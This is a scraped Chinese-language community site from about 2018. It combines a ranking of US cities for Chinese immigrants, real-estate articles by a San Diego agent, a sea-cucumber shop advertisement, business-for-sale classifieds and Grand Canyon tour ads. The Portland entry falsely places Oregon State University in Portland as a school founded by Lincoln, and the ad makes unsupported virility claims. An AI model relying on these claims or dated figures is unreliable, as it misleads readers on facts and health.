西雅图

 

一部《北京遇上西雅图》不仅炒热了西雅图的旅游路线,也带动人们对西雅图移民的关注。西雅图是华盛顿商业和文化的首府,是美国太平洋西北区最大的城市,距离温哥华只有两百多公里。实际上,自2008年西雅图开通直飞中国的班机开始,到2009年,原任华盛顿州州长的骆家辉先生出任商务部长,西雅图的知名度和投资热度就开始越来越高。虽然国际性的大公司像是微软和波音公司等为这个地方带来无数财富,西雅图当地居民的生活仍然非常悠闲。

西雅图是华盛顿州最大的城市,也是美国太平洋西北区最大的城市。2013年7月被评为美国发展速度最快的主要城市,这里有微软、波音、亚马逊、星巴克等国际性大公司。

 另外,西雅图有“翡翠之城”、“雨城”、“常绿之城”等美誉。西雅图附近有面积广大的河流、森林、湖泊和田野,在这里整年都可以进行帆船、滑雪、骑车、宿营和徒步旅行等活动。

 

7
纽约

 

纽约这一世界级大都市是全美华人最多的城市,也是最多元化的城市。据2010年统计,纽约海外华人人口超过68万,是亚洲以外华人最多的地方。纽约市内唐人街不止一个,繁华的曼哈顿华埠、布鲁克林华埠和法拉盛华埠,都使人感觉置身于地道的华人世界。

纽约也是各国移民的最主要选择,移民人数超过洛杉矶和迈阿密。纽约被誉为世界文化之都、购物天堂,同时教育水平也相当发达。

 

8
波特兰

 

波特兰位于美国的俄勒冈州,风景秀丽,是美国的“玫瑰之城”。波特兰还被称为“桥城”、“河城”,也曾获选全美最适合育婴的城市。波特兰是美国最大的城市之一,也是美国重要的经济中心,关键是这里的生活开销也很低。波特兰市南部坐落着俄勒冈州立大学,是美国最著名的州立大学之一,由林肯亲自主持建立,学术声誉极高。波特兰大约有10万华人,这里的中文学校也很多。

 

9
奥兰多

 

佛罗里达州中部的奥兰多是比较典型的中小型城市。这里虽然没有大都会的繁华热闹,但在宜居程度上却不输那些腰壮腿粗的大城市。这边的生活开销低,收入的所得税低。不少中国人来到这边直呼吃穿太便宜而不习惯!

奥兰多是世界上最好的休闲旅游城市之一,气候温和,市区可见众多湖泊,街道非常干净,还有艺术博物馆、历史博物馆、各种主题公园等。市区有多个面积不小的湖泊,街道也非常的干净。被金融网站WalletHub评为2016年全美最佳旅游度假和退休城市!如果要投资的话,奥兰多升值空间非常大。

 

10
波士顿

 

马萨诸塞州的波士顿靠山又临海,这里也是全世界高等院校密度最大的城市,也是世界许多知名研究机构、哈佛大学和麻省理工学院所在地,高质量的教育是吸引各地的移民和留学生的重要原因。

波士顿有着众多的常居华裔人口,以及规模位列全美前三名的唐人街。在众多身份构成复杂、生活参差不齐的中国城中,波士顿的唐人街是美国十大唐人街之一,是美国各城市的唐人街中管理得最整齐一个,相对来说华人的生活水准也是比较好的。

【声明】内容及图片整理转载自网络,版权归原作者所有。如有侵权请联系我们,我们将及时处理。

本文作者:Chen Wang, PhD

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2018-05-27 / by / in
办公楼改公寓的案例分析

南加地产专栏经纪:Chen Wang

Wang Chenxu

 

改功能是物业增值的一种重要方式,但是值不值得改造就一定要因地制宜,控制成本是核心。如果在面包比面粉还便宜的地方,烘新面包的事情就不要干。

因为潮流在那里,有人把一个波士顿DOWNTOWN旧办公楼改成了高档公寓:买壳成本200/尺,改造成本200-300/尺,卖价700-800/尺。

2013年6月,Washington Liberty LLC(founded by metropolitan Boston investor William J. Thibeault )花了8.1M 买进这个48000尺的旧办公楼(建于1850年,占地9100尺),East Boston Savings Bank 提供了6.1M贷款。

到2015年2月,业主花了26个月,把物业都拆空了,得到了建筑许可。但不知道什么原因,业主把半成品拿到市场上叫卖。可能要价太高,没人接手,业主自己只好筹钱开工了。

到了2016年改造完成,37个单元的豪华公寓,57968尺,成功招租,租金很高,。波士顿本地有名的商业代理BOSTON REALTY ADVISOR (BRA)认为可以卖到39M,相当于$673/尺,很合理的市场价。物业是通过BRA买来的,一般会优先委托给它卖。因此,BRA 11月份以准经纪人的口气说上面这些话。

没想到BRA的一个经纪人跳槽,把这个LISTING 带到了COLLIER’S,。COLLIER’S是个国际公司,影响力更大,可以卖给国际投资者。

另外说一句,波士顿政府网站给的估价(assessing value )不到10M。

下图五层红砖楼

对原文有删改

来源: 网络

2018-05-27 / by / in
房产证,契约和产权保险

 南加地产专栏经纪:Chen Wang

Wang Chenxu

熟悉中国房地产市场的人都知道,买房之后会领到政府颁发的房产证。该证件是证明房屋持有者所有权的官方文件。然而,在美国买房后在所有交接文件中,没有所有权证书。也就是说,没有一份文件来证明业主真正的”拥有”这个房屋。 这与美国房地产市场长期的私有制度有关,美国土地交易远早于现代的规范交易制度。

在美国要证明一块土地的所有权,需要证据而不是证明。理论上必须追溯该房屋交易的所有历史记录不但要证明他/她合法获得该房屋,还要证明他在持有过程中没有欠税、没有抵押他人、没有转让或赠与他人、没有法律上的纠纷。 否则在法律上就会有漏洞。然而,在实际操作中很难做到的。

当今美国的房地产交易的办法是产权保险公司查看该房屋的交易记录和相关文件。这些记录往往只有最近50年的,更早的交易记录很少有官方保存。因此,当一个房屋交易时,业主很难提供无可辩驳的证据来证明自己拥有该房屋一直是合法的。

    在此现状下,怎样才能保证交易双方的权益呢? 用的是一种单边保证的契约(Deed)的文件。当房屋交易时,卖主签署这样一份文件将卖方在该房屋的所有权转让给买主。

契约的种类有很多。通常在房地产交易时使用最多的是全权契约(GeneralWarranty  Deed)和特种契约(SpecialWarranty Deed)两种。全权契约保护性最高。它不仅保证该卖主在持有期间是合法的,所有债权、债务以及权益是清晰的,也承诺如果将来该房屋由于产权纠纷而发生诉讼,无论该纠纷所涉及到该房屋历史上的任何时段卖主承担一切费用和损失。特种契约的卖主只承担有限的责任。如果纠纷涉及到该房屋的历史时段不是在卖主持有期间,卖主不承担责任。特殊契约Grant Deed, Gift Deed, Quitclaim Deed, Trust Deed, Reconveyance Deed,Sheriffs Deed and Tax Deed。

在这种情况下怎样才能保证交易双方的权益呢? 产权保险(Title Insurance)的出现解决了这一难题。总的来讲,产权保险公司负责没有记录在案所造成的损失。因此,买主减少了卖方是否合法购得和持有该物业以及卖方是否真正的合法持有人等困扰产权保险一次性购买,在买主持有期间一直有效。

产权保险有多种,但常用的有两种。一种是普通保险 (standard policy),用于保护买主的利益;另一种是加强保险(extended-coveragepolicy),主要用于保护债主的合法利益。

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2018-05-27 / by / in , ,
圣地亚哥房地产变化趋势,2018.4月版

 南加地产专栏经纪:Chen Wang

Wang Chenxu 

圣地亚哥北部地区3月份售数量增加单价升高,库存量仍然很,销售速度仍然很快。数据是圣地亚哥北部地区居民房屋统计,包括邮政编码92126, 92127, 92128, 92129, 92131 and 92064区域。这些居民区分别为Mira Mesa , Rancho Bernardo, Carmel Mountain Ranch, Sabre Springs, 4SRanch, Torrey Highlands, Del Sur, Santa Luz, Rancho Penasquitos, Scripps Ranchand Poway.

圣地亚哥3月份销售房子308个,和2月份(216)相比增加42.6%。和去年同期(370)相比减少20%。主要原因是市场上可供销售房屋数量少。

 

 

3月份房屋销售平均价格为789,000美元。和去年同期相比上涨(10.3%),与2月份相比上涨4%。

 

 

3月份每平方英尺价格为393美元。与去年同期相比大幅度增高,10%;和2月相比也增高1%。说明高价位房子销售也在增加。

 

从上市到售出的天数3月份为17天。与去年同期(22天)相比大幅度降低(29.4%);与2月份(25天) 相比也大幅度降低(47%)。值得一提的是数据包括高价位及低价位的所有房子。与高价位房子相比低价位房子销售所需时间短的多。

 

 

房屋的库存量3月份为354个。与去年同期(344相比略有升高2.9%。与2月份(294)相比升高20%。数据是6个邮编区域所有在市场上的房子。因此,数量是相当少的。

 

 

库存量按月计算,3月份房屋数量只够销售1.15个月。和2月份(1.36)相比降低18.3%;和去年同期(0.93)相比升高23.4%。房屋数量可供5-6月销售为平衡市场。此数据也说明可销售房屋短缺相当严重。

 

 

3月份30年贷款利率为4.44%。和2月份(4.33%)相比有所增高,和去年同期(4.2%)相比也略有增高。

 

 

全美房价走势

 

 

圣地亚哥北部地区前5名房地产公司市场占有份额。

KW realty 37.33%;

Coldwell Bankers 16.57%;

Windermere 16.19%;

Remax 15.77%;

Pacific Sotheby’s14.14%.

 

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2018-05-27 / by / in
圣地亚哥房地产变化趋势,2018.4月版

圣地亚哥房地产变化趋势,2018.4月版

南加地产专栏经纪:Chen Wang
Wang Chenxu

圣地亚哥北部地区3月份售数量增加单价升高,库存量仍然很,销售速度仍然很快。数据是圣地亚哥北部地区居民房屋统计,包括邮政编码92126, 92127, 92128, 92129, 92131 and 92064区域。这些居民区分别为Mira Mesa , Rancho Bernardo, Carmel Mountain Ranch, Sabre Springs, 4SRanch, Torrey Highlands, Del Sur, Santa Luz, Rancho Penasquitos, Scripps Ranchand Poway.

圣地亚哥3月份销售房子308个,和2月份(216)相比增加42.6%。和去年同期(370)相比减少20%。主要原因是市场上可供销售房屋数量少。

 

 

3月份房屋销售平均价格为789,000美元。和去年同期相比上涨(10.3%),与2月份相比上涨4%。

 

 

3月份每平方英尺价格为393美元。与去年同期相比大幅度增高,10%;和2月相比也增高1%。说明高价位房子销售也在增加。

 

 

从上市到售出的天数3月份为17天。与去年同期(22天)相比大幅度降低(29.4%);与2月份(25天) 相比也大幅度降低(47%)。值得一提的是数据包括高价位及低价位的所有房子。与高价位房子相比低价位房子销售所需时间短的多。

 

 

房屋的库存量3月份为354个。与去年同期(344相比略有升高2.9%。与2月份(294)相比升高20%。数据是6个邮编区域所有在市场上的房子。因此,数量是相当少的。

 

 

库存量按月计算,3月份房屋数量只够销售1.15个月。和2月份(1.36)相比降低18.3%;和去年同期(0.93)相比升高23.4%。房屋数量可供5-6月销售为平衡市场。此数据也说明可销售房屋短缺相当严重。

 

 

3月份30年贷款利率为4.44%。和2月份(4.33%)相比有所增高,和去年同期(4.2%)相比也略有增高。

 

 

全美房价走势

 

 

圣地亚哥北部地区前5名房地产公司市场占有份额。KW realty 37.33%;Coldwell Bankers 16.57%; Windermere 16.19%; Remax 15.77%; Pacific Sotheby’s14.14%.

 

 

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    2018-05-20 / by / in , ,
    买房好还是租房好,一个很多人关心的问题

     

     买房好还是租房好,一个很多人关心的问题

    南加地产专栏经纪:Chen Wang
    Wang Chenxu

    目前美国房价不断上涨,不管是买房还是租房都会影响到今后的生活质量。那么,究竟是买房好还是租房好?

     

     

     

    据城市研究所的最新报告,在全国范围内贷款买房比租房更实惠。研究机报告显示中等收入家庭要花28%的收入来支付3间卧室房子的租金。相比之下,如果首付3.5%,30年贷款固定利率3.97%,每月用25%的收入还贷款可以买到同样水平的房子。如果首期付款20%,每月只需要支付22%的收入。 

     

    这项研究调查了大城市的住房购买和租金负担能力,并计算了买房和租房成本两者之间的差异。在美国33个最大城市中16个城市租房比买房更能负担得起,旧金山地区名列前茅。在旧金山,一个中等收入家庭将花费80%的收入支付每月贷款。而租房只需要家庭开支的37%。也就是说,买房与租房之间的成本差距是43%。

     

     

    Knowledge is the Key

     

    买房还是租房因人而异,它涉及很多因素包括房价、租金、维护费用、购房首付、贷款利率、资本投资回报率以及通货膨胀率等。

     

    其中最重要的是房价和租金,也就是通常所说的售租比(房屋售价与年租金之比)。一般认为售租比低于10是买房的大好时机。10到20之间则要根据地区和本人财务状况作出选择。售租比大于20则应该考虑租房。

     

    当供养一栋房产净花费比租房净花费低时则买房更合算。比如芝加哥、达拉斯、圣路易斯以及美国中部的大部分地区就是这种情况。

     

    买房理由 

    最明显的好处是房产可大幅升值。国家经纪人协会的数据显示,1993年至2013年期间美国独栋住宅的售价中值上升了81%。当房价迅猛上涨时往往刺激人们的购房欲望。许多房主还能把贷款利息抵扣个人所得税。房产贷款也可用于大学学费之类的大笔开销,利息远比其他融资要低。房主无需担心房租上涨。

     

    另一个好处随着年龄增大而凸显出来。如果房主在退休前后还清房贷,他们的住房成本会大幅度降低。而此时正是他们需要资金用于旅行、医疗和其他事项的时候。

     

    租房理由 

    买房虽然有种种好处,但买房也并不总是最好的财务选择。第一,每月租房的成本会低于买房。租房者不用缴纳房产税,房屋保险费,并且在大多数情况下也无需支付维护费用。房主每年支付的这些费用大约是1美元/平方英尺。第二,租房者往往可自由地搬往其他地方,这一点在就业市场疲软之时更重要。第三,如果房主必需在经济不景气时期卖房,房主往往会亏损。不过,买房还是租房要依据自己的情况做出决定。

     

     

    Rent or Buy

     

    1.个人情况

    租房:租房通常适用于不打算在某地居住两年以上的人。

    买房:拥有一幢住宅几年以上的时间,拥有者可以通过还款和市场增值构筑更多住宅净值。

     

    2.财务状况

    租房:没有多少积蓄的人无法承受首付及其他住宅购置开支,比如地产税,房屋维护费用等。

    买房:需要良好的财务状况,有稳定的收入来源。维持房屋并不只是首付,也需要偿还每个月的贷款,交地产税。还有房屋维护费用等。

     

    3.投资潜力

    租房:租房就投资来说没有直接好处。然而,租住者可以将那些用来购买住宅的资金投入到其他投资领域,有可能获得超过房地产市场的投资回报。只是,这样的做法同时也很可能意味着更大的风险。

     

    买房:房主可以构筑住宅净值。净值来自首付款、偿还贷款和市场增值。从历史的角度看来,房地产市场的回报较为稳定。当然在房价下跌时账面上会出现亏损。

     

    4.现金流动

    租房:现金流有限的人应该选择租房。租房虽然要求每月支付租金,但除此之外租住者几乎不再负担其它房屋财务的开销。

     

    买房:住宅拥有者必须获得足够现金流,以确保偿付每月的贷款,房产税和屋主保险等。一般而言,房主的住宅相关开支不应该超过收入的28%。房主也应该准备每年支出大约相当于住宅价值1%左右的维护保养开支。

     

    5.税务优惠

    租房:租房是享受不到税务优惠的。

     

    买房:已婚房主可以享受到最高100万美元升值不用交税的优惠。已婚而夫妇独立报税者,每人可以享受最高50万美元的额度。未婚房主可以享受到最高50万美元的额度。

     

    6.享受

    租房:有更多的时间和现金用于其它事情。但回家后有时享受不到家的感觉。由于不知道什么何时又会搬家,所以不会花钱去买贵重的家居用品,也就体会不到使用这些用品时的乐趣。

     

    买房:要花很多时间和钱维持这个家。同时会有一种成就感和安定感。

     

    7.风险评估

    租房:风险小,即使房价下跌时也不用为物业操心。愿意的话还可以换个房子住,悠哉悠哉。

     

    买房:房价下跌来不及出手或不能做重新贷款,就会产生账面上的损失。如果被迫卖房套现,就会产生真正的损失。房屋周围环境发生变化物业也难以搬迁,也即不动产。

     

     

    本文作者:Chen Wang, PhD

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      2018-05-20 / by / in , , , , , , ,
      美国购房流程

       

      南加地产专栏经纪:Chen Wang

      Wang Chenxu

      1.资金

      一般购房分为现金购买与贷款购买两种。鉴于国及美国的货币管理涉及到各种法律法规,决定用现金购房屋最好在买房前就把所需要资金转到美国银行账户。现金买房,卖家都会要求买家出示存款证明(proofof funds用中国国内银行的存款证明有其不利一面。在房源短

      紧缺的状况,卖方很可能因担心资金不能在过户前到达美国账户而拒绝买方的报价(OFFER)。贷款买房,要预先联系贷款专业人员开具可贷款证明(pre-approvalletter)。卖家通常根据买家提供的可贷款证明判断其是否有符合买房条件而决定是否接收买家的报价。

       

       

      2.看房

      资金到位后就和房地产经纪人一起看房了。经过网上筛选出比较理想的房子后,经纪人将会安排实地看房。一旦选出满意房子之后,经纪人将会对房子做进一步调查研究。比如所在区域及周围环境,附近学校,市场上房子数量及最近售出的房子价格等。经纪人也可能让卖家出示房屋的基本情况报告(sellerdisclosure notice)。卖家会在这份报告里披露他/她所知道的关于房屋的重要信息。比如地基有没有修过,那年修过。屋顶是否换过。房子之前有没有白蚁损害等。

       

      House

       

      3.报价

      选定了各方面满意的房子后就考虑报价了。报价将直接关系到交易的成功与否,所以也要格外地审慎。一定要根据房子的实际情况和市场状况合理报价以促成交易成功。在加州一旦买卖双方达成协议,买方要在3天之内要交一定数量押金。押金由过户公司保存。加州的报价表格含有三个附加条件:房检,估价和贷款。去掉这三个条件要特别小心。一旦去掉卖方将有权扣押买方预先缴纳的押金。

       

      4.房检

      买卖双方达成购买协议后紧接着就是联系房检师进行房屋检查。费用根据房屋大小,房屋类型而定。一百万价格以内的房子房检费用在300500左右。检查完成以后,房检师出具房检报告。买卖双方的经纪人会帮着协调修理事宜。如果买卖双方达不成一致买家允许无条件退出购买协议。之前交付的押金将退还给买方。如果双方达成共识,购房过程进入下一阶段:过户。

      值得一提的是除了房子结构和安全问题外卖家是没有义务修理检查出的毛病。房检的费用由买家负担。

      Kitchen

      5.过户

      现金买房房检后就可以准备过户了。如果是贷款,贷款公司会要求做房屋的估价(appraisal)。这个费用一般在500-600左右。如果估价高于或等于买卖双方达成的购买价格,贷款公司则继续处理贷款。如果低于双方达成的购买价格,贷款公司则不会放款。此时有3个选择。1)买方经纪人将和卖家经纪人沟通,争取将购买价格降到市场价。2)如果房子抢手,卖家不同意降价,买方多承担一些首付补齐购买价格和市场估价的差价。3)放弃购买,押金退还买方。值得注意的是估价是个很主观的过程,每个估价师的估价都会有所不同。所以做决定时要具体情况具体分析,视房屋和市场的实际情况而定。

       

      6.交房

      完成以上步骤后就交房了。加州规定在交房之前5天之内买主有权再检查一遍房子。确保房子和签订购买协议时的状况相同。

       

      bedroom

       

      7.房屋所有权

      过户当天,买方到过户公司签字。签字时需要携带身份证明和所需的资金(贷款买房为首付款)。付款需用银行本票(cashiercheck)。如果事先汇款到了过户公司,则不需要带本票。贷款买房,贷款公司一般会在签字的当天或第二天进行放款。结账完毕后就可以领取钥匙,也就正式拥有了房屋的所有权。

       

      买家需知

      第一,美国的合同往来多采用电子签名。或签名后扫描,然后通过电子邮件传送。

      第二,美国的房产交易流程规范。在加州,经纪人使用的重要法律文件和购房合同都是由地产协会律师制作的标准格式文件。

      第三,在加州买卖双方在整个交易过程中不需见面。交易也可以异地过户。过户公司会安排流动公证人在买家或卖家的所在地签字。这种情况首付款需当场给公证人银行本票,或者提前直接汇款到过户公司。

      第四,圣地亚哥几乎所有的房子都有白蚁破坏。南加州的惯例是过户前由卖方负责处理。

      本文作者:chen wang, PhD

      电话:858 216 0122

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        2018-05-20 / by / in , ,
        商业及地产

        商业及地产

        南加地产专栏经纪:Chen Wang
        Wang Chenxu

        商业地产是指用于商业的建筑,也包括用于工业生产的建筑。商业地产和民居住相对应,民居顾名思义是人居住的建筑。商业建筑可大可小。小的比如餐馆,加油站,店面,养老院,教堂。大的有办公室,科研大楼,学校,旅馆/酒店,仓库,农场,乃至工业厂房,百货大楼,购物中心等。

        当前美国商业地产规模高达11万亿美元,占美国国内生产总值的10%以上。美国商业地产规模是居民地产的一半,美国股票市场的两倍。值得一提的是在加州商业产经纪人也担负着生意转工作 Business Brokerage)。

        San Diego

        商业地产投资优势 

        随着美国经济的健康发展,在美投资的外国人(包括中国人)越来越多。各国富人们为追求稳定收益和在美发展商业而竞相投资美国商业地产。商业地产的经营不但让投资人获得美国公司经营的经验,而且也是融入美国主流社会一条有效的途

         

        1)永久产权和一些国家具有期限限制(如40年)的产权不同,美国的商业地产的产权是永久的。通常情况下,地下面的矿产,水资源以及其它自然资源都归产权方所有。

         

        2)收益高美国的民宅房产年租金和房子的售价比(租售比)一般在5%左右。而美国商业地产平均收益为6-8%。由于美国房地产市场更开放,更国际化,从长远考虑也更为稳定。

         

        3)管理简单商业地产中零售商铺和工业地产等,房主多只管收租金。税费和维修费等是由租户承担。商业租约普遍较长,现多5-10年甚至更长。租约长可以避免很多更换租约租户的麻烦。

         

        4)投资灵活在美国购买商业地产投资比较灵活。如果不全现金购买,可以贷款购买。商业地产经纪人大都可以协助办理贷款。现金购买后若需要资金周转,可以买后贷款(Refinance,用已经购买的房产做抵押从银行贷款。另外,也可以和其他人一起投资购买,以出资的多少分地产股权。

         

        Medical Office

        商业地产与民宅地产的不同

        如上所述民宅是人居住的,价格受买主的爱好影响较大。民宅多采用市场比较法来估价,即和已销售数据来比较做市场价格分析。商业房地产投资是为了赚钱的,不赚钱就失去它应有的意义。商业房地产的价格评估最常用的是收入分析法。要计算的数据有投资回报率,收入贷款比等。最后,综合评定一个商业地产的市场价格。

         

        这些数据对于买卖双方都是很重要。对于卖主来说,可以通过专业的计算与分析来制定合理售价格,不至于要价过高或过低影响销售。对于买主来说,也可根据这些数据来进行投资的可行性研究,做出合理的购买决策。

         

        专业商业房地产估价师也是用这些方法评估。如果是贷款,实际成交价和估价师所估价格一致时银行才会放款。如果低于成交价格,买方3个选择。1)买方经纪人和卖经纪人沟通,争取将购买价格降到市场价。2)如果卖家不降价,买方用现金补齐成交价和估价的差价。3)放弃购买。

        Medical Office 2

        商业地产以盈利为目的,因此关注的重点和购买民宅大不相同。商业地产除考虑投资风险外,投资回报率是一个重要因素。要达到预期的投资目的,选择商业地产投资时要注意地段地势,交通情况,人流状况,购买力消费力,城市规划对地产的影响等。如果是以零售业为主的各种地产,比如购物中心,百货公司大楼等,还要考虑当前租客情况,租约情况和租金收益情况。以零售业为例,美国市场上有上万个商业地产,出租净回报在4-9%左右如果租客是全国知名大型企业,租约较长,买方会更喜欢,但回报会比较低。反之,应该要求较高的回报来抵消投资风险。不论你是已经移民到美国,还是人在中国,美国的商业地产投资都是获得长期,稳定收入的一种有效方式。

         

        本文作者:Chen Wang, PhD

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        2018-05-20 / by / in , , , , ,
        教你4个海参去腥方法,让你安心吃吃吃!

        教你4个海参去腥方法,让你安心吃吃吃!

        2018-4-16 

        海参和人参、燕窝齐名的,号称世界的八大珍品之一,具有壮阳疗痿、益精髓等功效,在很多地方都有广泛的应用。随着现在海参市场的越来越好,海参的种类也是越来越多,主要以即食海参以及干海参为主,但是有部分人群在食用海参的时候觉得海参味道较腥,对于那些不能接受这种味道的人来说,食用海参简直就是一种煎熬,如何才能去除海参的腥味呢,今天就来为大家解释一下。

        1

        将海参放入开水中,并且加入姜片、白酒、葱,然后煮透,就可以去除海参的腥味了。

        2

         

        现在的人对海鲜都会用白酒去除其腥味,其实海参也是同样适用的,将海参放入白酒中,浸泡一段时候之后就可以去除海参的腥味了。

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        还可以用淘米水来对海参的腥味进行去除操作,具体的操作是将海参让如淘米水中,然后浸泡一段时间之后就可以去除海参的腥味了。

        4

        将海参放入水中,然后加生姜,然后放在火上进行烧,经过一段时间之后就可以很好的去除海参的腥味了。

         恒隆行总部位于美国加州圣地亚哥。产品经由FDA检验,货真价实,诚信无欺。
        恒隆行以野生海参自产自销为主要经营特色,种类超过10种;同时经营美国威州花旗参,不下30种,从几十美元到几千美元价格的都有;还有鲍鱼、燕窝、干贝、鱼肚、高丽参等名贵滋补品,以及各种海味、南北干货、特色食品、保健品、茶叶等大众食品。

        电话:858-292-1733(店内);917-292-5118(手機)
        微信:henglongusa .
        电邮:henglongusa@gmail.com
        网址:www.henglongusa.com
        地址:7330 Clairemont Mesa Blvd, A-105 San Diego CA, USA 92111

        HengLong HengXin

        来源:网络

        2018-05-19 / by / in , , , ,
        [南加商机] 美发店转让,全部仪器设施9成新,接手就开工!创业者,莫失良机!

        2018-03-31, 04:13 pm

        联系人信息

        姓名 Sabrina (国语)

        联系电话 (626) 248-0003

        内容描述

        位于Arcadia美发店转让,5个美发镜台,3个洗头床,宽大美容房间,1个美甲台,及所需美发仪器和洗烘机,热水炉全部9成新,1个产品间,新装警报系统,停车场方便。业主因搬家,意出售店面$55,000,接手就开工。有意者请电626-248-0003预约面谈,需查信用,非诚勿扰!

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        2018-05-16 / by / in , , ,
        [南加商机] 老美区餐馆转让

        联系人信息

        姓名 高先生 (国语)

        联系电话 (626) 366-2794

        内容描述

        餐馆位于定胖子广场一个小时左右车程,老美区,附近有加州最大的赌场和加州最大的酒庄。生意稳定,可以做EB-5投资移民。餐馆面积3700多尺,有冻库和酒牌。内有100多个座位。有意者请联系 626-366-2794 高先生,626-328-8108

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        2018-05-16 / by / in
        [南加商机] 美妆店铺转让

        联系人信息

        联系电话 6265864797

        内容描述

        位于Rowland height Diamond plaza 因店主要移民其他国、已经营五年网红美妆店可做美妆、美容、美甲、服装客源稳定适合给想创业的朋友们。有兴趣可浅谈

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        2018-05-16 / by / in
        新旅游景点:大峡谷高空滑索,布特莱格峡谷 Bootleg Canyon高空滑索,中文电话:1-929-302-9136

        大峡谷高空滑索 中文服务咨询:1-929-302-9136,1-917-563-1306

        如果您需要更多大峡谷旅游资讯,请随时联系我们。电话: 1-888-868-WEST or 928-769-2636.
        网站:http://dxg.gobustour.com/
        邮箱: reservations@grandcanyonresort.com

        大峡谷高空滑索

        紅山是世界上排名第八的山地自行車極速滑降比賽勝地。但是,這次您不再徒步或騎山地自行車,而是從空中俯瞰紅山!乘坐內華達州唯一一個空中軌道系統——大峡谷高空滑索,享受一次令人興奮的旅程。這條高空滑索,增加了最安全的新專利技術,配備了高素質嚮導,途中壯觀的風景,將讓您印象深刻。

        w1080 (3)

        在嚮導帶領下,經過一段風景如畫的旅程,前往紅山。抵達紅山山頂後,經過15分鐘徒步旅行,抵達海拔接近3,800英尺(1140米)的第一個地台,可以欣賞到拉斯維加斯,米德湖和埃爾拉多山谷的壯觀景色。

        高空滑索 在此,乘坐四條不同的高空滑索,體驗令人興奮的高空降落。四條高空滑索長度各不相同,在1,150英尺(345米)至2,545英尺(765米)之間。您將體驗時速50英里(80公里)高空滑索降落!驚險刺激大峡谷西缘高空滑索

        飽覽拉斯維加斯、米德湖和埃爾多拉多山谷令人窒息的美景,聆聽本次生態游向導全程為您講解沙漠生態系統。

        w1080 (2)

        在高空滑索體驗過程中,你不僅能從千尺高空觀賞華達州有沙漠地帶特色的風景,還能欣賞到當地特色的野生動物,如紅尾鷹、巨型蜥蜴、大角山羊等。您的導遊在確保您安全和舒適的同時還會為您講述許多當地的歷史、地理和人文信息。

        提醒事项:

        1) 参加者体重必须在34kg–113kg之间,预订时请填写您的体重

        2) 不建议孕妇和患有背部疾病的的游客参加此行程

        3) 由于旅途多崎曲山路,无残疾人通道

        4) 建議穿著休閒運動裝,不宜穿著露趾鞋和涼鞋。,建议携带墨镜和防晒装备

        2018-04-23 / by / in
        纽约雷克萨斯4S店,Lexus RX350,美东凌志汽车,低息贷款买车

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        2018-04-23 / by / in , ,
        美国大峽谷探險活动第一名:科罗拉多大峡谷漂流 ,中文服务电话:1-929-302-9136

        大峡谷科罗拉多漂流 ,大峡谷旅游,如果您需要更多资讯,请随时联系我们。

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        网站:http://dxg.gobustour.com/
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        中文服务咨询:1-929-302-9136,1-917-563-1306

        自1869年首次科罗拉多大峡谷漂流开始,100多年来无数的美国探险家在大峡谷里挑战险滩,搏击急流,在这里诠释着一种美国精神。美国科罗拉多大峡谷(TheGrandCanyon)是世界上最大的峡谷之一,也是地球上自然界七大奇景之一,大峡谷国家公园于1980年年列入世界遗产名录。

        大峽谷科羅拉多漂流

        科罗拉多大峡谷漂流是美国人心中的一次一生得有一次的旅行,所以一般要提前半年到一年订。大峡谷国家公园的官方指定推荐旅行公司的链接,大家可以从那里选个公司订。里面有不同的套餐。什么时间去玩最佳,推荐5月底6月初,和9月底10月初,因为这两个时间的大峡谷谷底气温比较舒服,白天基本最高也就是华氏100度,摄氏38度左右,后半夜稍凉,但睡袋,长衣长裤和小床单可以足够保暖

        colorado-river-65314_640

        果想自助玩:。出于对大峡谷环境,还有对游客自己的保护,政府要求所有想自己去谷底河里玩的人都必须提前获得许可这个许可还是乐透形式发放的,要提前一两年申请。而且还要求申请者本人有漂流经验和技巧。如果好运抽到了许可证,每人每年只有一次去河里漂的机会

        也。当然有旅行公司提供那种带你走步道,坐或者直升飞机游览一圈后到达谷底,体验几小时的漂流的项目。大家如果不想一次漂那么久,可以选择这种类型的。说是漂流(漂流),却不是那种和急流搏斗的白水漂流,而是依然漂流。我们坐着马达驱动的大皮筏子,在平静的河段上顺流而下漂了15英里,平稳而悠闲。

        rafting-2095669_640

        科罗拉多河漂流每天2个出发时间,早上7点和中午12点,在河面上的时间大概3个钟头。正值酷暑炎夏,一路上积极防暑降温的我们当然选择了早上7点凉快的那一班。从之前做的功课来看,中途会在河中的一个沙滩停留,再加上全程在水面,娃们玩水的机会非常多。于是,给所有的娃都穿上了游泳衣和水鞋。起了个大早,天气和我们预计的一样,万里无云,肯定是一个炎热的大晴天。漂流公司的总线载着我们穿过了一条2英里长的隧道,来到格伦大坝的底部。这是我们的船码头。大家都顺利上了船,一切就绪….除了一个问题—-这里真的冷啊!!!

        由于上船的地点是大坝的底部。这里的科罗拉多河水是从几百尺深的水库底部流出来的,据说只有40多华氏度。两边高耸的峡谷让这低温传不出去,再加上是一大清早,太阳才刚刚升起。于是谷底的水面就变成了一天然大冰箱啊

        主要亮点:北峡谷,南峡谷,瓦西的天堂,红墙洞穴,叹息桥,在36英里远足,在源美肌营地,萨德尔峡谷,南科沃普,小科罗拉多河,炭溪/熔岩峡谷远足,会幕徒步远足 查看地图

        2018-04-23 / by / in
        西峡谷直升机价格$140美元 中文客服电话:1-929-302-9136 ,1-917-563-1306

        西峡谷直升机价格

        飞越大峡谷        大概时长: 由顾客决定 起步价:$140

        出发地: 大峡谷西缘    目的地: 大峡谷西缘   西峡谷直升机价格

        电话:+88-8- 868-9378

        地址:Grand Canyon Skywalk,Mohave County,AZ,USA(查看地图)

        网址:http://dxg.gobustour.com/,http://www.grandcanyonwest.com

        邮箱: reservations@grandcanyonresort.com

        中文服务咨询:1-929-302-9136, 1-917-563-1306

        旅程始于 大峡谷西缘

        特色活动:小型飞机 | 观光巴士

        导游解说
        计划参观大峡谷西部?除了沿西缘的迷人的景色,还可以体验在峡谷的非凡地标难忘的飞行与巴比的原生浏览器游览与遗产。这次空中游览从大峡谷西部空气终端离开边缘很短的距离。一旦空气中,你会喜欢从鹰点以上的壮丽景色 – 包括世界著名的玻璃桥,鸟粪点,和西海大峡谷内的其他奇妙的自然形态。飞行中的耳机解说将在您的旅程中提供有趣的事实和大峡谷的历史。

